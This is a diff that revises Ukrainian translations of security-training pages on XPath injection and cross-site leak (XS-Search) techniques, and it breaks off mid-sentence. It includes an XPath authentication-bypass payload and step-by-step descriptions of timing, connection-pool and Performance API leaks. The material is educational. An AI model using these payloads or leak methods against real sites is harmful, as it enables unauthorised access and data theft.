- **bookstore**: Вибираються всі вузли з ім'ям "bookstore". - **bookstore**: Вибираються всі вузли з ім'ям "bookstore".
- **/bookstore**: Вибирається кореневий елемент bookstore. Зазначається, що абсолютний шлях до елемента представлений шляхом, що починається зі слешу (/). - **/bookstore**: Вибирається кореневий елемент bookstore. Зазначається, що абсолютний шлях до елемента представлений шляхом, що починається зі слеша (/).
- **bookstore/book**: Вибираються всі елементи book, які є нащадками bookstore. - **bookstore/book**: Вибираються всі елементи book, які є нащадками bookstore.
- **//book**: Вибираються всі елементи book у документі, незалежно від їхнього розташування. - **//book**: Вибираються всі елементи book у документі, незалежно від їхнього розташування.
- **bookstore//book**: Вибираються всі елементи book, які є нащадками елемента bookstore, незалежно від їхньої позиції під елементом bookstore. - **bookstore//book**: Вибираються всі елементи book, які є нащадками елемента bookstore, незалежно від їхнього положення під елементом bookstore.
- **//@lang**: Вибираються всі атрибути з ім'ям lang. - **//@lang**: Вибираються всі атрибути з ім'ям lang.
### Utilization of Predicates ### Utilization of Predicates
Предикати використовуються для уточнення вибору: Предикати використовуються для уточнення вибору:
- **/bookstore/book\[1]**: Вибирається перший елемент book, що є нащадком елемента bookstore. Обхід для версій IE з 5 по 9, які індексують перший вузол як \[0], полягає в установці SelectionLanguage на XPath через JavaScript. - **/bookstore/book\[1]**: Вибирається перший елемент book, що є нащадком елемента bookstore. Обхідний шлях для версій IE з 5 по 9, які індексують перший вузол як \[0], полягає в налаштуванні SelectionLanguage на XPath через JavaScript.
- **/bookstore/book\[last()]**: Вибирається останній елемент book, що є нащадком елемента bookstore. - **/bookstore/book\[last()]**: Вибирається останній елемент book, що є нащадком елемента bookstore.
- **/bookstore/book\[last()-1]**: Вибирається передостанній елемент book, що є нащадком елемента bookstore. - **/bookstore/book\[last()-1]**: Вибирається передостанній елемент book, що є нащадком елемента bookstore.
- **/bookstore/book\[position()<3]**: Вибираються перші два елементи book, що є нащадками елемента bookstore. - **/bookstore/book\[position()<3]**: Вибираються перші два елементи book, що є нащадками елемента bookstore.
@ -160,7 +160,7 @@ Select the account using the username and use one of the previous values in the
``` ```
Username: ' or 1]%00 Username: ' or 1]%00
``` ```
### **Подвійний OR у імені користувача або у паролі** (дійсний лише з 1 вразливим полем) ### **Подвійний OR у імені користувача або у паролі** (діє лише з 1 вразливим полем)
ВАЖЛИВО: Зверніть увагу, що **"і" є першою операцією, що виконується**. ВАЖЛИВО: Зверніть увагу, що **"і" є першою операцією, що виконується**.
``` ```

View File

@ -4,7 +4,7 @@
## Основна інформація ## Основна інформація
XS-Search - це метод, що використовується для **екстракції інформації з крос-доменів**, використовуючи **вразливості бічного каналу**. XS-Search це метод, що використовується для **екстракції інформації з крос-доменів**, використовуючи **вразливості бічного каналу**.
Ключові компоненти, що беруть участь у цій атаці, включають: Ключові компоненти, що беруть участь у цій атаці, включають:
@ -20,7 +20,7 @@ XS-Search - це метод, що використовується для **ек
Кілька аспектів можна проаналізувати, щоб відрізнити стани Вразливого вебу: Кілька аспектів можна проаналізувати, щоб відрізнити стани Вразливого вебу:
- **Код статусу**: Відрізнення між **різними кодами статусу HTTP-відповіді** крос-домен, такими як помилки сервера, помилки клієнта або помилки аутентифікації. - **Код статусу**: Відрізнення між **різними кодами статусу HTTP-відповіді** крос-домен, такими як помилки сервера, помилки клієнта або помилки аутентифікації.
- **Використання API**: Визначення **використання веб-API** на різних сторінках, що виявляє, чи використовує крос-домена сторінка конкретний JavaScript Web API. - **Використання API**: Визначення **використання веб-API** на різних сторінках, що показує, чи використовує крос-домена сторінка конкретний JavaScript Web API.
- **Перенаправлення**: Виявлення навігацій на різні сторінки, не лише HTTP перенаправлень, але й тих, що викликані JavaScript або HTML. - **Перенаправлення**: Виявлення навігацій на різні сторінки, не лише HTTP перенаправлень, але й тих, що викликані JavaScript або HTML.
- **Вміст сторінки**: Спостереження за **варіаціями в тілі HTTP-відповіді** або в підресурсах сторінки, таких як **кількість вбудованих фреймів** або різниці в розмірах зображень. - **Вміст сторінки**: Спостереження за **варіаціями в тілі HTTP-відповіді** або в підресурсах сторінки, таких як **кількість вбудованих фреймів** або різниці в розмірах зображень.
- **HTTP заголовок**: Зазначення наявності або, можливо, значення **конкретного заголовка HTTP-відповіді**, включаючи заголовки, такі як X-Frame-Options, Content-Disposition та Cross-Origin-Resource-Policy. - **HTTP заголовок**: Зазначення наявності або, можливо, значення **конкретного заголовка HTTP-відповіді**, включаючи заголовки, такі як X-Frame-Options, Content-Disposition та Cross-Origin-Resource-Policy.
@ -36,20 +36,20 @@ XS-Search - це метод, що використовується для **ек
### Техніки витоку ### Техніки витоку
- **Обробник подій**: Класична техніка витоку в XS-Leaks, де обробники подій, такі як **onload** та **onerror**, надають інформацію про успішність або невдачу завантаження ресурсу. - **Обробник подій**: Класична техніка витоку в XS-Leaks, де обробники подій, такі як **onload** та **onerror**, надають інформацію про успішність або невдачу завантаження ресурсу.
- **Повідомлення про помилки**: Винятки JavaScript або спеціальні сторінки помилок можуть надавати інформацію про витік безпосередньо з повідомлення про помилку або шляхом розрізнення між її наявністю та відсутністю. - **Повідомлення про помилки**: Винятки JavaScript або спеціальні сторінки помилок можуть надавати інформацію про витік або безпосередньо з повідомлення про помилку, або шляхом розрізнення між її наявністю та відсутністю.
- **Глобальні обмеження**: Фізичні обмеження браузера, такі як обсяг пам'яті або інші накладені обмеження браузера, можуть сигналізувати, коли досягається поріг, слугуючи технікою витоку. - **Глобальні обмеження**: Фізичні обмеження браузера, такі як обсяг пам'яті або інші накладені обмеження браузера, можуть сигналізувати, коли досягається поріг, слугуючи технікою витоку.
- **Глобальний стан**: Виявлені взаємодії з **глобальними станами** браузерів (наприклад, інтерфейс історії) можуть бути використані. Наприклад, **кількість записів** в історії браузера може надати підказки про крос-домени сторінки. - **Глобальний стан**: Виявлені взаємодії з **глобальними станами** браузерів (наприклад, інтерфейс історії) можуть бути використані. Наприклад, **кількість записів** в історії браузера може надати підказки про крос-домени сторінки.
- **Performance API**: Цей API надає **деталі продуктивності поточної сторінки**, включаючи мережевий час для документа та завантажених ресурсів, що дозволяє робити висновки про запитувані ресурси. - **Performance API**: Цей API надає **деталі продуктивності поточної сторінки**, включаючи мережевий час для документа та завантажених ресурсів, що дозволяє робити висновки про запитувані ресурси.
- **Читабельні атрибути**: Деякі HTML атрибути є **читабельними з крос-доменів** і можуть бути використані як техніка витоку. Наприклад, властивість `window.frame.length` дозволяє JavaScript підраховувати фрейми, включені в веб-сторінку з крос-доменів. - **Читабельні атрибути**: Деякі HTML атрибути є **читабельними з крос-доменів** і можуть бути використані як техніка витоку. Наприклад, властивість `window.frame.length` дозволяє JavaScript підраховувати фрейми, включені в веб-сторінку з крос-доменів.
## Інструмент XSinator та документ ## Інструмент XSinator та стаття
XSinator - це автоматичний інструмент для **перевірки браузерів на наявність кількох відомих XS-Leaks**, пояснених у його документі: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) XSinator це автоматичний інструмент для **перевірки браузерів на наявність кількох відомих XS-Leaks**, описаних у його статті: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
Ви можете **доступитися до інструменту за** [**https://xsinator.com/**](https://xsinator.com/) Ви можете **доступитися до інструменту за** [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING] > [!WARNING]
> **Виключені XS-Leaks**: Нам довелося виключити XS-Leaks, які покладаються на **сервісні працівники**, оскільки вони заважали іншим витокам у XSinator. Крім того, ми вирішили **виключити XS-Leaks, які покладаються на неправильну конфігурацію та помилки в конкретному веб-додатку**. Наприклад, неправильні конфігурації CrossOrigin Resource Sharing (CORS), витік postMessage або Cross-Site Scripting. Додатково, ми виключили XS-Leaks на основі часу, оскільки вони часто страждають від повільності, шуму та неточності. > **Виключені XS-Leaks**: Нам довелося виключити XS-Leaks, які залежать від **сервісних працівників**, оскільки вони можуть заважати іншим витокам в XSinator. Крім того, ми вирішили **виключити XS-Leaks, які залежать від неправильних налаштувань і помилок у конкретному веб-додатку**. Наприклад, неправильні налаштування Cross-Origin Resource Sharing (CORS), витік postMessage або Cross-Site Scripting. Додатково, ми виключили XS-Leaks на основі часу, оскільки вони часто страждають від повільності, шуму та неточності.
## **Техніки на основі часу** ## **Техніки на основі часу**
@ -66,7 +66,7 @@ XSinator - це автоматичний інструмент для **пере
- **Методи включення**: Фрейми, HTML елементи - **Методи включення**: Фрейми, HTML елементи
- **Виявлена відмінність**: Код статусу - **Виявлена відмінність**: Код статусу
- **Більше інформації**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) - **Більше інформації**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **Резюме**: якщо намагатися завантажити ресурс, події onerror/onload спрацьовують, коли ресурс завантажується успішно/неуспішно, можна з'ясувати код статусу. - **Резюме**: якщо намагатися завантажити ресурс, події onerror/onload спрацьовують, коли ресурс завантажено успішно/неуспішно, можна з'ясувати код статусу.
- **Приклад коду**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>) - **Приклад коду**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
{{#ref}} {{#ref}}
@ -108,10 +108,10 @@ xs-search/performance.now-+-force-heavy-task.md
- **Методи включення**: Фрейми - **Методи включення**: Фрейми
- **Виявна різниця**: Час (зазвичай через вміст сторінки, код статусу) - **Виявна різниця**: Час (зазвичай через вміст сторінки, код статусу)
- **Більше інформації**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) - **Більше інформації**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **Резюме:** [Годинник SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) може бути використано для вимірювання часу, необхідного для виконання запиту. Можуть бути використані й інші годинники. - **Резюме:** [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) може бути використано для вимірювання часу, необхідного для виконання запиту. Можуть бути використані й інші годинники.
- **Приклад коду**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) - **Приклад коду**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
Час, витрачений на отримання ресурсу, можна виміряти, використовуючи [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) та [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) події. Подія **`beforeunload`** спрацьовує, коли браузер збирається перейти на нову сторінку, тоді як подія **`unload`** відбувається, коли навігація фактично відбувається. Часова різниця між цими двома подіями може бути обчислена для визначення **тривалості, протягом якої браузер витратив на отримання ресурсу**. Час, витрачений на отримання ресурсу, можна виміряти, використовуючи [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) та [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) події. Подія **`beforeunload`** спрацьовує, коли браузер збирається перейти на нову сторінку, тоді як подія **`unload`** відбувається, коли навігація фактично відбувається. Часова різниця між цими двома подіями може бути обчислена для визначення **тривалості, яку браузер витратив на отримання ресурсу**.
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a> ### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
@ -121,7 +121,7 @@ xs-search/performance.now-+-force-heavy-task.md
- **Резюме:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API може бути використано для вимірювання часу, необхідного для виконання запиту. Можуть бути використані й інші годинники. - **Резюме:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API може бути використано для вимірювання часу, необхідного для виконання запиту. Можуть бути використані й інші годинники.
- **Приклад коду**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) - **Приклад коду**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Було помічено, що за відсутності [Захисту від фреймів](https://xsleaks.dev/docs/defenses/opt-in/xfo/) час, необхідний для завантаження сторінки та її підресурсів через мережу, може бути виміряний зловмисником. Це вимірювання зазвичай можливе, оскільки обробник `onload` iframe спрацьовує лише після завершення завантаження ресурсів та виконання JavaScript. Щоб обійти варіативність, введену виконанням скриптів, зловмисник може використовувати атрибут [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) у `<iframe>`. Включення цього атрибута обмежує численні функціональності, зокрема виконання JavaScript, що полегшує вимірювання, яке в основному залежить від продуктивності мережі. Було помічено, що за відсутності [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) час, необхідний для завантаження сторінки та її підресурсів через мережу, може бути виміряний зловмисником. Це вимірювання зазвичай можливе, оскільки обробник `onload` iframe спрацьовує лише після завершення завантаження ресурсів та виконання JavaScript. Щоб обійти варіативність, введену виконанням скриптів, зловмисник може використовувати атрибут [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) у `<iframe>`. Включення цього атрибута обмежує численні функціональності, зокрема виконання JavaScript, що полегшує вимірювання, яке в основному залежить від продуктивності мережі.
```javascript ```javascript
// Example of an iframe with the sandbox attribute // Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe> <iframe src="example.html" sandbox></iframe>
@ -136,14 +136,14 @@ xs-search/performance.now-+-force-heavy-task.md
Припустимо, що ви можете **вставити** **сторінку**, яка має **секретний** контент **всередину Iframe**. Припустимо, що ви можете **вставити** **сторінку**, яка має **секретний** контент **всередину Iframe**.
Ви можете **змусити жертву шукати** файл, який містить "_**flag**_", використовуючи **Iframe** (експлуатуючи CSRF, наприклад). Всередині Iframe ви знаєте, що _**подія onload**_ буде **виконана завжди принаймні один раз**. Тоді ви можете **змінити** **URL** **iframe**, змінюючи лише **вміст** **хешу** в URL. Ви можете **змусити жертву шукати** файл, який містить "_**flag**_", використовуючи **Iframe** (експлуатуючи CSRF, наприклад). Всередині Iframe ви знаєте, що _**подія onload**_ буде **виконана завжди принаймні один раз**. Тоді ви можете **змінити** **URL** **iframe**, змінюючи лише **вміст** **hash** в URL.
Наприклад: Наприклад:
1. **URL1**: www.attacker.com/xssearch#try1 1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2 2. **URL2**: www.attacker.com/xssearch#try2
Якщо перший URL був **успішно завантажений**, тоді, при **зміні** частини **хешу** URL, **подія onload** **не буде знову викликана**. Але **якщо** на сторінці була якась **помилка** під час **завантаження**, тоді **подія onload** буде **викликана знову**. Якщо перший URL був **успішно завантажений**, тоді, при **зміні** частини **hash** URL, **подія onload** **не буде знову викликана**. Але **якщо** на сторінці була якась **помилка** під час **завантаження**, тоді **подія onload** буде **викликана знову**.
Тоді ви можете **відрізнити** між **правильно** завантаженою сторінкою або сторінкою, яка має **помилку** при доступі. Тоді ви можете **відрізнити** між **правильно** завантаженою сторінкою або сторінкою, яка має **помилку** при доступі.
@ -164,7 +164,7 @@ xs-search/javascript-execution-xs-leak.md
- **Inclusion Methods**: HTML Elements - **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code & Headers - **Detectable Difference**: Status Code & Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/) - **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **Cross-Origin Read Blocking (CORB)** є заходом безпеки, який запобігає завантаженню певних чутливих крос-доменних ресурсів, щоб захистити від атак, таких як **Spectre**. Однак зловмисники можуть експлуатувати його захисну поведінку. Коли відповідь, що підлягає **CORB**, повертає _**захищений CORB**_ `Content-Type` з `nosniff` і статус-кодом `2xx`, **CORB** видаляє тіло та заголовки відповіді. Зловмисники, спостерігаючи за цим, можуть вивести комбінацію **статус-коду** (який вказує на успіх або помилку) і `Content-Type` (який вказує, чи захищений він **CORB**), що може призвести до потенційного витоку інформації. - **Summary**: **Cross-Origin Read Blocking (CORB)** є заходом безпеки, який запобігає завантаженню певних чутливих крос-доменних ресурсів, щоб захистити від атак, таких як **Spectre**. Однак зловмисники можуть експлуатувати його захисну поведінку. Коли відповідь, що підлягає **CORB**, повертає _**захищений CORB**_ `Content-Type` з `nosniff` і статус-кодом `2xx`, **CORB** видаляє тіло та заголовки відповіді. Зловмисники, які спостерігають за цим, можуть вивести комбінацію **статус-коду** (який вказує на успіх або помилку) і `Content-Type` (який вказує, чи захищений він **CORB**), що може призвести до потенційного витоку інформації.
- **Code Example**: - **Code Example**:
Перевірте посилання з додатковою інформацією про атаку. Перевірте посилання з додатковою інформацією про атаку.
@ -238,10 +238,10 @@ JavaScript працює на [однопоточній моделі циклу
- **Inclusion Methods**: - **Inclusion Methods**:
- **Detectable Difference**: Timing (generally due to Page Content, Status Code) - **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** Один із методів вимірювання часу виконання веб-операції полягає в навмисному блокуванні циклу подій потоку, а потім вимірюванні **того, скільки часу потрібно, щоб цикл подій знову став доступним**. Вставивши блокуючу операцію (таку як довге обчислення або синхронний виклик API) в цикл подій і контролюючи час, який потрібен для початку виконання наступного коду, можна вивести тривалість завдань, які виконувалися в циклі подій під час блокуючого періоду. Ця техніка використовує однопоточну природу циклу подій JavaScript, де завдання виконуються послідовно, і може надати уявлення про продуктивність або поведінку інших операцій, які ділять той же потік. - **Summary:** Один із методів вимірювання часу виконання веб-операції полягає в навмисному блокуванні циклу подій потоку, а потім вимірюванні **того, скільки часу потрібно, щоб цикл подій знову став доступним**. Вставивши блокуючу операцію (таку як тривале обчислення або синхронний виклик API) в цикл подій і контролюючи час, який потрібен для початку виконання наступного коду, можна вивести тривалість завдань, які виконувалися в циклі подій під час блокуючого періоду. Ця техніка використовує однопоточну природу циклу подій JavaScript, де завдання виконуються послідовно, і може надати уявлення про продуктивність або поведінку інших операцій, які ділять той же потік.
- **Code Example**: - **Code Example**:
Значною перевагою техніки вимірювання часу виконання шляхом блокування циклу подій є її потенціал обходити **Site Isolation**. **Site Isolation** є функцією безпеки, яка розділяє різні веб-сайти на окремі процеси, щоб запобігти зловмисним сайтам від прямого доступу до чутливих даних з інших сайтів. Однак, впливаючи на час виконання іншого джерела через спільний цикл подій, зловмисник може непрямо витягти інформацію про діяльність цього джерела. Цей метод не покладається на прямий доступ до даних іншого джерела, а скоріше спостерігає за впливом діяльності цього джерела на спільний цикл подій, таким чином ухиляючись від захисних бар'єрів, встановлених **Site Isolation**. Значною перевагою техніки вимірювання часу виконання шляхом блокування циклу подій є її потенціал обходити **Site Isolation**. **Site Isolation** є функцією безпеки, яка розділяє різні веб-сайти на окремі процеси, щоб запобігти прямому доступу зловмисних сайтів до чутливих даних з інших сайтів. Однак, впливаючи на час виконання іншого джерела через спільний цикл подій, зловмисник може непрямо витягти інформацію про діяльність цього джерела. Цей метод не покладається на прямий доступ до даних іншого джерела, а скоріше спостерігає за впливом діяльності цього джерела на спільний цикл подій, таким чином ухиляючись від захисних бар'єрів, встановлених **Site Isolation**.
> [!WARNING] > [!WARNING]
> У вимірюванні часу виконання можливо **усунути** **мережеві фактори**, щоб отримати **більш точні вимірювання**. Наприклад, завантажуючи ресурси, які використовуються сторінкою, перед її завантаженням. > У вимірюванні часу виконання можливо **усунути** **мережеві фактори**, щоб отримати **більш точні вимірювання**. Наприклад, завантажуючи ресурси, які використовуються сторінкою, перед її завантаженням.
@ -251,7 +251,7 @@ JavaScript працює на [однопоточній моделі циклу
- **Inclusion Methods**: JavaScript Requests - **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code) - **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** Зловмисник може заблокувати всі сокети, крім 1, завантажити цільовий веб-сайт і одночасно завантажити іншу сторінку, час, поки остання сторінка починає завантажуватися, є часом, який цільова сторінка витратила на завантаження. - **Summary:** Зловмисник може заблокувати всі сокети, крім 1, завантажити цільовий веб-сайт і одночасно завантажити іншу сторінку, час до початку завантаження останньої сторінки є часом, який цільова сторінка витратила на завантаження.
- **Code Example**: - **Code Example**:
{{#ref}} {{#ref}}
@ -262,8 +262,8 @@ xs-search/connection-pool-example.md
1. Визначити ліміт сокетів браузера, наприклад, 256 глобальних сокетів. 1. Визначити ліміт сокетів браузера, наприклад, 256 глобальних сокетів.
2. Зайняти 255 сокетів на тривалий час, ініціюючи 255 запитів до різних хостів, призначених для підтримки з'єднань відкритими без завершення. 2. Зайняти 255 сокетів на тривалий час, ініціюючи 255 запитів до різних хостів, призначених для підтримки з'єднань відкритими без завершення.
3. Використати 256-й сокет, щоб надіслати запит до цільової сторінки. 3. Використати 256-й сокет для надсилання запиту до цільової сторінки.
4. Спробувати 257-й запит до іншого хоста. Оскільки всі сокети зайняті (згідно з кроками 2 і 3), цей запит буде поставлений в чергу, поки не з'явиться доступний сокет. Затримка перед тим, як цей запит продовжиться, надає зловмиснику інформацію про час, пов'язану з мережею, що стосується 256-го сокета (сокета цільової сторінки). Це припущення можливе, оскільки 255 сокетів з кроку 2 все ще зайняті, що означає, що будь-який новий доступний сокет повинен бути звільнений з кроку 3. Час, необхідний для того, щоб 256-й сокет став доступним, безпосередньо пов'язаний з часом, необхідним для завершення запиту до цільової сторінки. 4. Спробувати 257-й запит до іншого хоста. Оскільки всі сокети зайняті (згідно з кроками 2 і 3), цей запит буде поставлений в чергу, поки не з'явиться доступний сокет. Затримка перед тим, як цей запит продовжиться, надає зловмиснику інформацію про час, пов'язану з мережею, що стосується 256-го сокета (сокета цільової сторінки). Це виведення можливе, оскільки 255 сокетів з кроку 2 все ще зайняті, що означає, що будь-який новий доступний сокет повинен бути звільнений з кроку 3. Час, необхідний для того, щоб 256-й сокет став доступним, безпосередньо пов'язаний з часом, необхідним для завершення запиту до цільової сторінки.
Для отримання додаткової інформації: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) Для отримання додаткової інформації: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
@ -276,18 +276,18 @@ xs-search/connection-pool-example.md
## Performance API Techniques ## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) пропонує інформацію про показники продуктивності веб-додатків, додатково збагачену [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API дозволяє моніторити детальні часи запитів мережі, такі як тривалість запитів. Особливо, коли сервери включають заголовок `Timing-Allow-Origin: *` у своїх відповідях, стає доступною додаткова інформація, така як розмір передачі та час пошуку домену. [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) пропонує уявлення про показники продуктивності веб-додатків, додатково збагачене [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API дозволяє моніторити детальні часи запитів в мережі, такі як тривалість запитів. Особливо, коли сервери включають заголовок `Timing-Allow-Origin: *` у своїх відповідях, стає доступною додаткова інформація, така як розмір передачі та час пошуку домену.
Цю багатство даних можна отримати за допомогою методів, таких як [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) або [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), що надає всебічний огляд інформації, пов'язаної з продуктивністю. Крім того, API полегшує вимірювання часу виконання, обчислюючи різницю між часовими мітками, отриманими з [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Однак варто зазначити, що для певних операцій у браузерах, таких як Chrome, точність `performance.now()` може бути обмежена до мілісекунд, що може вплинути на детальність вимірювань часу. Цю багатство даних можна отримати за допомогою методів, таких як [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) або [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), що надає всебічний огляд інформації, пов'язаної з продуктивністю. Крім того, API полегшує вимірювання часу виконання, обчислюючи різницю між часовими мітками, отриманими з [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Однак варто зазначити, що для певних операцій у браузерах, таких як Chrome, точність `performance.now()` може бути обмежена до мілісекунд, що може вплинути на детальність вимірювань часу.
Окрім вимірювань часу, Performance API можна використовувати для отримання інформації, пов'язаної з безпекою. Наприклад, наявність або відсутність сторінок в об'єкті `performance` у Chrome може вказувати на застосування `X-Frame-Options`. Зокрема, якщо сторінка заблокована від відображення в фреймі через `X-Frame-Options`, вона не буде зафіксована в об'єкті `performance`, що надає тонкий натяк на політику фреймування сторінки. Окрім вимірювань часу, Performance API можна використовувати для отримання інформації, пов'язаної з безпекою. Наприклад, наявність або відсутність сторінок в об'єкті `performance` у Chrome може вказувати на застосування `X-Frame-Options`. Зокрема, якщо сторінка заблокована від рендерингу в фреймі через `X-Frame-Options`, вона не буде зафіксована в об'єкті `performance`, що надає тонкий натяк на політику фреймування сторінки.
### Error Leak ### Error Leak
- **Inclusion Methods**: Frames, HTML Elements - **Inclusion Methods**: Frames, HTML Elements
- **Detectable Difference**: Status Code - **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Запит, який призводить до помилок, не створить запису часу ресурсів. - **Summary:** Запит, який призводить до помилок, не створить запис часу ресурсів.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak) - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
Можливо **відрізнити між статус-кодами HTTP**, оскільки запити, які призводять до **помилки**, **не створюють запису продуктивності**. Можливо **відрізнити між статус-кодами HTTP**, оскільки запити, які призводять до **помилки**, **не створюють запису продуктивності**.
@ -330,7 +330,7 @@ xs-search/connection-pool-example.md
- **Summary:** Використовуючи XSS Auditor у Security Assertions, зловмисники можуть виявити конкретні елементи веб-сторінки, спостерігаючи за змінами у відповідях, коли створені корисні навантаження активують механізм фільтрації аудитора. - **Summary:** Використовуючи XSS Auditor у Security Assertions, зловмисники можуть виявити конкретні елементи веб-сторінки, спостерігаючи за змінами у відповідях, коли створені корисні навантаження активують механізм фільтрації аудитора.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak) - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
У Security Assertions (SA) XSS Auditor, спочатку призначений для запобігання атакам Cross-Site Scripting (XSS), може парадоксально бути використаний для витоку чутливої інформації. Хоча ця вбудована функція була видалена з Google Chrome (GC), вона все ще присутня в SA. У 2013 році Браун і Хайдеріх продемонстрували, що XSS Auditor може ненавмисно блокувати законні скрипти, що призводить до хибних позитивів. Спираючись на це, дослідники розробили техніки для витягування інформації та виявлення конкретного контенту на крос-доменных сторінках, концепція, відома як XS-Leaks, спочатку повідомлена Терадою та розширена Хейзом у блозі. Хоча ці техніки були специфічні для XSS Auditor у GC, було виявлено, що в SA сторінки, заблоковані XSS Auditor, не генерують записи в Performance API, що розкриває метод, за допомогою якого чутлива інформація може все ще бути витекла. У Security Assertions (SA) XSS Auditor, спочатку призначений для запобігання атакам Cross-Site Scripting (XSS), може парадоксально бути використаний для витоку чутливої інформації. Хоча ця вбудована функція була видалена з Google Chrome (GC), вона все ще присутня в SA. У 2013 році Браун і Хайдеріх продемонстрували, що XSS Auditor може ненавмисно блокувати законні скрипти, що призводить до хибних позитивів. Спираючись на це, дослідники розробили техніки для витягування інформації та виявлення конкретного контенту на крос-доменної сторінці, концепція, відома як XS-Leaks, спочатку повідомлена Терадою і розширена Хейзом у блозі. Хоча ці техніки були специфічні 